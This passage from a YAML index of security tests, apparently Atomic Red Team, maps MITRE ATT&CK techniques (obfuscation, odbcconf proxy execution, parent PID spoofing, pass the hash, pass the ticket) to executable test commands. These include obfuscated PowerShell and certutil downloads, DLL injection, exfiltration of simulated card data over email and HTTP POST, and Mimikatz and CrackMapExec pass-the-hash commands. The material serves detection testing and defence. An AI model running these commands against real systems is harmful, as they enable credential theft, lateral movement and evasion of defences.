        cleanup_command: 'Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage}
          -Name #{registry_entry_storage}

'
        name: powershell
    - name: Execution from Compressed File
      auto_generated_guid: f8c8a909-5f29-49ac-9244-413936ce6d1f
      description: 'Mimic execution of compressed executable. When successfully executed,
        calculator.exe will open.

'
      supported_platforms:
      - windows
      input_arguments:
        url_path:
          description: url to download Exe
          type: Url
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1027.exe must exist on disk at $env:temp\temp_T1027.zip\T1027.exe

'
        prereq_command: 'if (Test-Path $env:temp\temp_T1027.zip\T1027.exe) {exit 0}
          else {exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "#{url_path}" -OutFile "$env:temp\T1027.zip"
          Expand-Archive -path "$env:temp\T1027.zip" -DestinationPath "$env:temp\temp_T1027.zip\" -Force
      executor:
        command: '"%temp%\temp_T1027.zip\T1027.exe"

'
        cleanup_command: |
          taskkill /f /im calculator.exe >nul 2>nul
          rmdir /S /Q %temp%\temp_T1027.zip >nul 2>nul
          del /Q "%temp%\T1027.zip" >nul 2>nul
        name: command_prompt
    - name: DLP Evasion via Sensitive Data in VBA Macro over email
      auto_generated_guid: 129edb75-d7b8-42cd-a8ba-1f3db64ec4ad
      description: |
        Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email.
        Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: Path of the XLSM file
          type: Path
          default: PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm
        sender:
          description: sender email
          type: String
          default: test@corp.com
        receiver:
          description: receiver email
          type: String
          default: test@corp.com
        smtp_server:
          description: SMTP Server IP Address
          type: String
          default: 127.0.0.1
      executor:
        command: 'Send-MailMessage -From #{sender} -To #{receiver} -Subject ''T1027_Atomic_Test''
          -Attachments #{input_file} -SmtpServer #{smtp_server}

'
        name: powershell
    - name: DLP Evasion via Sensitive Data in VBA Macro over HTTP
      auto_generated_guid: e2d85e66-cb66-4ed7-93b1-833fc56c9319
      description: |
        Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP.
        Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: Path of the XLSM file
          type: Path
          default: PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm
        ip_address:
          description: Destination IP address
          type: String
          default: 127.0.0.1
      executor:
        command: 'Invoke-WebRequest -Uri #{ip_address} -Method POST -Body #{input_file}

'
        name: powershell
    - name: Obfuscated Command in PowerShell
      auto_generated_guid: 8b3f4ed6-077b-4bdd-891c-2d237f19410f
      description: 'This is an obfuscated PowerShell command which when executed prints
        "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report
        by Red Canary.

'
      supported_platforms:
      - windows
      executor:
        command: '$cmDwhy =[TyPe]("{0}{1}" -f ''S'',''TrING'')  ;   $pz2Sb0  =[TYpE]("{1}{0}{2}"-f''nv'',''cO'',''ert'')  ;  &("{0}{2}{3}{1}{4}"
          -f''In'',''SiO'',''vOKe-EXp'',''ReS'',''n'') (  (&("{1}{2}{0}"-f''blE'',''gET-'',''vaRIA'')  (''CMdw''+''h''+''y''))."v`ALUe"::("{1}{0}"
          -f''iN'',''jO'').Invoke('''',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163
          , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40,
          120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .(''%'') { (
          [CHAR] (  $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )

'
        name: powershell
    - name: Obfuscated Command Line using special Unicode characters
      auto_generated_guid: e68b945c-52d0-4dd9-a5e8-d173d70c448f
      description: |
        This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters).
        Reference:
        https://wietze.github.io/blog/windows-command-line-obfuscation
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: URL of file to download
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
        local_path:
          description: Local path/filename to save the dowloaded file to
          type: Path
          default: Atomic-license.txt
      executor:
        steps: |
          1. Copy the following command into the command prompt after replacing #{remote_file} and #{local_path} with your desired URL and filename.


            certutil —ૹu૰rlࢰca࣢c෯he  –‮spli؅t‮‭ −"൏ᶠ൸" #{remote_file} #{local_path}


          2. Press enter to execute the command. You will find the file or webpage you specified saved to the file you specified in the command.
        name: manual
  T1218.008:
    technique:
      id: attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071
      description: "Adversaries may abuse odbcconf.exe to proxy execution of malicious
        payloads. Odbcconf.exe is a Windows utility that allows you to configure Open
        Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft
        odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft.\n\nAdversaries
        may abuse odbcconf.exe to bypass application control solutions that do not
        account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010),
        odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute
        DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \"C:\\Users\\Public\\file.dll\"&rbrace;</code>).
        (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation:
        TrendMicro Cobalt Group Nov 2017) \n"
      name: Odbcconf
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1218.008
        url: https://attack.mitre.org/techniques/T1218/008
      - source_name: Microsoft odbcconf.exe
        url: https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017
        description: Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March
          7, 2019.
      - source_name: LOLBAS Odbcconf
        url: https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
        description: LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.
      - source_name: TrendMicro Squiblydoo Aug 2017
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/
        description: Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August
          7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses.
          Retrieved March 7, 2019.
      - source_name: TrendMicro Cobalt Group Nov 2017
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/
        description: 'Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November
          20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit
          Against Russian Banks. Retrieved March 7, 2019.'
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-06-20T22:39:00.717Z'
      created: '2020-01-24T15:01:32.917Z'
      x_mitre_platforms:
      - Windows
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      x_mitre_detection: Use process monitoring to monitor the execution and arguments
        of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history
        of known good arguments and loaded DLLs to determine anomalous and potentially
        adversarial activity. Command arguments used before and after the invocation
        of odbcconf.exe may also be useful in determining the origin and purpose of
        the DLL being loaded.
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Application control
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1218.008
    atomic_tests:
    - name: Odbcconf.exe - Execute Arbitrary DLL
      auto_generated_guid: 2430498b-06c0-4b92-a448-8ad263c388e2
      description: 'Execute arbitrary DLL file stored locally.

'
      supported_platforms:
      - windows
      input_arguments:
        dll_payload:
          description: DLL to execute
          type: Path
          default: PathToAtomicsFolder\T1218.008\src\Win32\T1218-2.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1218-2.dll must exist on disk at specified location (#{dll_payload})

'
        prereq_command: 'if (Test-Path #{dll_payload}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}"
      executor:
        command: 'odbcconf.exe /S /A {REGSVR "#{dll_payload}"}

'
        name: command_prompt
  T1134.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1134.004
        url: https://attack.mitre.org/techniques/T1134/004
      - source_name: DidierStevens SelectMyParent Nov 2009
        url: https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
        description: 'Stevens, D. (2009, November 22). Quickpost: SelectMyParent or
          Playing With the Windows Process Tree. Retrieved June 3, 2019.'
      - source_name: Microsoft UAC Nov 2018
        url: https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works
        description: Montemayor, D. et al.. (2018, November 15). How User Account
          Control works. Retrieved June 3, 2019.
      - source_name: CounterCept PPID Spoofing Dec 2018
        url: https://www.countercept.com/blog/detecting-parent-pid-spoofing/
        description: Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved
          June 3, 2019.
      - source_name: CTD PPID Spoofing Macro Mar 2019
        url: https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
        description: Tafani-Dereeper, C. (2019, March 12). Building an Office macro
          to spoof parent processes and command line arguments. Retrieved June 3,
          2019.
      - source_name: XPNSec PPID Nov 2017
        url: https://blog.xpnsec.com/becoming-system/
        description: Chester, A. (2017, November 20). Alternative methods of becoming
          SYSTEM. Retrieved June 4, 2019.
      - source_name: Microsoft Process Creation Flags May 2018
        url: https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags
        description: Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags.
          Retrieved June 4, 2019.
      - description: Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2)
          Ataware Ransomware Part 3. Retrieved June 6, 2019.
        url: https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3
        source_name: Secuirtyinbits Ataware3 May 2019
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Parent PID Spoofing
      description: |-
        Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

        Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

        Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)
      id: attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-02-09T14:11:20.296Z'
      created: '2020-02-18T18:22:41.448Z'
      x_mitre_contributors:
      - Wayne Silva, F-Secure Countercept
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_defense_bypassed:
      - Heuristic Detection
      - Host forensic analysis
      x_mitre_detection: |-
        Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)

        Monitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      - 'Process: Process Metadata'
      x_mitre_platforms:
      - Windows
      identifier: T1134.004
    atomic_tests:
    - name: Parent PID Spoofing using PowerShell
      auto_generated_guid: '069258f4-2162-46e9-9a25-c9c6c56150d2'
      description: |
        This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.
        Upon execution, "Process C:\Program Files\Internet Explorer\iexplore.exe is spawned with pid ####" will be displayed and
        calc.exe will be launched.

        Credit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)
      supported_platforms:
      - windows
      input_arguments:
        parent_process_name:
          description: Name of the parent process
          type: String
          default: explorer
        spawnto_process_path:
          description: Path of the process to spawn
          type: Path
          default: C:\Program Files\Internet Explorer\iexplore.exe
        dll_process_name:
          description: Name of the created process from the injected dll
          type: String
          default: calculator
        dll_path:
          description: Path of the dll to inject
          type: Path
          default: PathToAtomicsFolder\T1134.004\bin\calc.dll
        spawnto_process_name:
          description: Name of the process to spawn
          type: String
          default: iexplore
      dependency_executor_name: powershell
      dependencies:
      - description: 'DLL to inject must exist on disk at specified location (#{dll_path})

'
        prereq_command: 'if (Test-Path #{dll_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{dll_path}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll" -OutFile "#{dll_path}"
      executor:
        command: |
          . $PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1
          $ppid=Get-Process #{parent_process_name} | select -expand id
          PPID-Spoof -ppid $ppid -spawnto "#{spawnto_process_path}" -dllpath "#{dll_path}"
        cleanup_command: |
          Stop-Process -Name "#{dll_process_name}" -ErrorAction Ignore
          Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore
        name: powershell
    - name: Parent PID Spoofing - Spawn from Current Process
      auto_generated_guid: 14920ebd-1d61-491a-85e0-fe98efe37f25
      description: Spawns a powershell.exe process as a child of the current process.
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: File path or name of process to spawn
          type: Path
          default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
        parent_pid:
          description: PID of process to spawn from
          type: String
          default: "$PID"
        command_line:
          description: Specified command line to use
          type: String
          default: "-Command Start-Sleep 10"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine
          ''#{command_line}'' -ParentId #{parent_pid}'
        name: powershell
    - name: Parent PID Spoofing - Spawn from Specified Process
      auto_generated_guid: cbbff285-9051-444a-9d17-c07cd2d230eb
      description: Spawns a notepad.exe process as a child of the current process.
      supported_platforms:
      - windows
      input_arguments:
        parent_pid:
          description: PID of process to spawn from
          type: String
          default: "$PID"
        test_guid:
          description: Defined test GUID
          type: String
          default: 12345678-1234-1234-1234-123456789123
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Start-ATHProcessUnderSpecificParent  -ParentId #{parent_pid} -TestGuid
          #{test_guid}'
        name: powershell
    - name: Parent PID Spoofing - Spawn from svchost.exe
      auto_generated_guid: e9f2b777-3123-430b-805d-5cedc66ab591
      description: Spawnd a process as a child of the first accessible svchost.exe
        process.
      supported_platforms:
      - windows
      input_arguments:
        command_line:
          description: Specified command line to use
          type: String
          default: "-Command Start-Sleep 10"
        file_path:
          description: File path or name of process to spawn
          type: Path
          default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine,
          ProcessId -Filter "Name = ''svchost.exe'' AND CommandLine LIKE ''%''" |
          Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path}
          -CommandLine ''#{command_line}'''
        name: powershell
    - name: Parent PID Spoofing - Spawn from New Process
      auto_generated_guid: 2988133e-561c-4e42-a15f-6281e6a9b2db
      description: Creates a notepad.exe process and then spawns a powershell.exe
        process as a child of it.
      supported_platforms:
      - windows
      input_arguments:
        command_line:
          description: Specified command line to use
          type: String
          default: "-Command Start-Sleep 10"
        file_path:
          description: File path or name of process to spawn
          type: Path
          default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
        parent_name:
          description: Parent process to spoof from
          type: Path
          default: "$Env:windir\\System32\\notepad.exe"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent
          -FilePath #{file_path} -CommandLine ''#{command_line}'''
        name: powershell
  T1550.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1550.002
        url: https://attack.mitre.org/techniques/T1550/002
      - external_id: CAPEC-644
        source_name: capec
        url: https://capec.mitre.org/data/definitions/644.html
      - source_name: Stealthbits Overpass-the-Hash
        url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
          Attacks. Retrieved February 4, 2021.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Pass the Hash
      description: |-
        Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

        When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

        Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)
      id: attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2021-03-15T21:04:33.228Z'
      created: '2020-01-30T16:36:51.184Z'
      x_mitre_defense_bypassed:
      - System Access Controls
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.

        Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      - 'Active Directory: Active Directory Credential Request'
      x_mitre_contributors:
      - Blake Strom, Microsoft 365 Defender
      - Travis Smith, Tripwire
      x_mitre_platforms:
      - Windows
      identifier: T1550.002
    atomic_tests:
    - name: Mimikatz Pass the Hash
      auto_generated_guid: ec23cef9-27d9-46e4-a68d-6f75f7b86908
      description: |
        Note: must dump hashes first
        [Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)
      supported_platforms:
      - windows
      input_arguments:
        user_name:
          description: username
          type: String
          default: Administrator
        ntlm:
          description: ntlm hash
          type: String
          default: cc36cf7a8514893efccd3324464tkg1a
        domain:
          description: domain
          type: String
          default: "%userdnsdomain%"
        mimikatz_path:
          description: mimikatz windows executable
          type: Path
          default: "%tmp%\\mimikatz\\x64\\mimikatz.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

'
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
          Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\mimikatz.zip"
          Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force
          New-Item -ItemType Directory (Split-Path $mimikatz_path) -Force | Out-Null
          Move-Item $env:TEMP\mimikatz\x64\mimikatz.exe $mimikatz_path -Force
      executor:
        command: '#{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain}
          /ntlm:#{ntlm}"

'
        name: command_prompt
    - name: crackmapexec Pass the Hash
      auto_generated_guid: eb05b028-16c8-4ad8-adea-6f5b219da9a9
      description: 'command execute with crackmapexec

'
      supported_platforms:
      - windows
      input_arguments:
        user_name:
          description: username
          type: String
          default: Administrator
        crackmapexec_exe:
          description: crackmapexec windows executable
          type: Path
          default: C:\CrackMapExecWin\crackmapexec.exe
        command:
          description: command to execute
          type: String
          default: whoami
        ntlm:
          description: command
          type: String
          default: cc36cf7a8514893efccd3324464tkg1a
        domain:
          description: domain
          type: String
          default: "%userdnsdomain%"
      dependency_executor_name: powershell
      dependencies:
      - description: 'CrackMapExec executor must exist on disk at specified location
          (#{crackmapexec_exe})

'
        prereq_command: 'if(Test-Path #{crackmapexec_exe}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host Automated installer not implemented yet, please
          install crackmapexec manually at this location: #{crackmapexec_exe}

'
      executor:
        command: "#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}\n"
        name: command_prompt
  T1550.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1550.003
        url: https://attack.mitre.org/techniques/T1550/003
      - external_id: CAPEC-645
        source_name: capec
        url: https://capec.mitre.org/data/definitions/645.html
      - url: https://adsecurity.org/?p=556
        description: Metcalf, S. (2014, November 22). Mimikatz and Active Directory
          Kerberos Attacks. Retrieved June 2, 2016.
        source_name: ADSecurity AD Kerberos Attacks
      - url: http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
        description: Deply, B. (2014, January 13). Pass the ticket. Retrieved June
          2, 2016.
        source_name: GentilKiwi Pass the Ticket
      - url: http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
        description: Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December
          4, 2014.
        source_name: Campbell 2014
      - source_name: Stealthbits Overpass-the-Hash
        url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
          Attacks. Retrieved February 4, 2021.
      - url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
        description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
          April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
        source_name: CERT-EU Golden Ticket Protection
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Pass the Ticket
      description: |-
        Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

        When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)

        A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)

        A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)

        Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)
      id: attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2021-03-15T21:42:11.839Z'
      created: '2020-01-30T17:03:43.072Z'
      x_mitre_defense_bypassed:
      - System Access Controls
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_system_requirements:
      - Kerberos authentication enabled
      x_mitre_detection: |-
        Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.

        Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      - 'Active Directory: Active Directory Credential Request'
      x_mitre_contributors:
      - Vincent Le Toux
      - Ryan Becwar
      x_mitre_platforms:
